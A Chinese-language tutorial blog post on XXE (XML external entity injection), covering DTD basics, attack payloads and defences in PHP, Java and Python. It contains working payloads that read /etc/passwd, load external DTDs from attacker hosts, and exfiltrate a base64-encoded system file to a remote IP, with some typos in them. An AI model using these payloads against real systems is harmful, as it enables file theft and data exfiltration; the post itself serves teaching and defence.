XEE详解

1、XML基础知识

eXtensible Markup Language 可扩展标记语言

XML用途
配置文件
在这里插入图片描述
交换数据
在这里插入图片描述
XML内容

在这里插入图片描述
XML格式要求

  • XML文档必须有根元素
  • XML文档必须有关闭标签
  • XML标签对大小写敏感
  • XML元素必须被正确的嵌套
  • XML属性必须加引号

XML格式校验

DTD(Document Type Definition ) 文档类型定义

在这里插入图片描述
内部实体:

<?xml version="1.0"?>
<!DOCTYPE note [
  <!ELEMENT note (to,from,heading,body)>
  <!ELEMENT to      (#PCDATA)>
  <!ELEMENT from    (#PCDATA)>
  <!ELEMENT heading (#PCDATA)>
  <!ELEMENT body    (#PCDATA)>
]>
<note>
  <to>George</to>
  <from>John</from>
  <heading>Reminder</heading>
  <body>Don't forget the meeting!</body>
</note>

外部实体:

<?xml version="1.0"?>
<!DOCTYPE note SYSTEM "http://127.0.0.1/note.dtd">
<note>
<to>George</to>
<from>John</from>
<heading>Reminder</heading>
<body>Don't forget the meeting!</body>
</note> 
 
#而http://127.0.0.1/note.dtd的内容为
<!ELEMENT note (to,from,heading,body)>
<!ELEMENT to (#PCDATA)>
<!ELEMENT from (#PCDATA)>
<!ELEMENT heading (#PCDATA)>
<!ELEMENT body (#PCDATA)>

外部实体引用:协议
在这里插入图片描述
不同语言支持的协议
在这里插入图片描述
PHP扩展
在这里插入图片描述
完整的XML内容
在这里插入图片描述

2、什么是XXE

在这里插入图片描述

XML外部实体注入 XML External Entity Injection

如果Web应用的脚本代码没有限制XML引入外部实体,从而导致用户可以插入一个外部实体,并且其中的内容会被服务器端执行,插入的代码可能导致任意文件读取、系统命令执行、内网端口探测、攻击内网网站等危害

<?xml version="1.0"?>
<!DOCTYPE a[
    <!ENTITY b SYSTEM "file:///etc/passwd">
]>
<a>&b;</a>
<?xml version="1.0"?>
<!DOCTYPE a [
       <!ENTITY b SYSTEM "http://mark4z5.com/evil.dtd">
]>
<a>&b;</a>
 
#而http://mark4z5.com/evil.dtd内容为
<!ENTITY b SYSTEM "file:///etc/passwd">
<?xml version="1.0"?>
<!DOCTYPE a [
    <!ENTITY %b SYSTEM "http://mark4z5.com/evil.dtd">
]>
<a>%b;</a>
 
#http://mark4z5.com/evil.dtd文件内容
<!ENTITY b SYSTEM "file:///etc/passwd">

3、XXE利用方式

微信支付XXE漏洞
在这里插入图片描述
在这里插入图片描述
直打:xee靶场

  1. 确定使用XML传输数据(抓包可得)
  2. 发送到Repeater
  3. 添加DTD,引用外部问文档
  4. Send得到响应

盲打-DNSLog

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [
<!ENTITY %remote SYSTEM "http://aaabbb.fiaz84.dnslog.cn">%
remote;]>

盲打-http接口参数,写入文件

<?xml version="1.0">
<!DOCTYPE ANY[
<!ENTITY %remote SYSTEM "http://attacker.com/evil.dtd">
%remote;]>
<root>&send;</root>
<!ENTTY % file SYSTEM
"php://filter/read=convert.base64-encode/resource=file:///c:/system.ini">
<!ENTITY % int "<!ENTITY &#37;send SYSTEM 'http://192.168.1
42.135:8080?p=%file;'>">

4、XXE防御

PHP

libxml_disable_entity_loader(true);

Java

DocumentBuilderFactory dbf
=DocumentBuilderFactory.newInstance();
dbf.setExpandEntityReferences(false);

Python

from lxml import etree
xmlData =
etree.parse(xmlSource,etree.XMLParser(resolve_entities=Fa
lse))

过滤用户提交的XML数据

'
"
''(two apostrophe)
""
<
>
]]>
]]>>
<!--/-->
/-->
-->
<!-- <!
<! [CDATA[/]]>

WAF

以mod_security为例
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值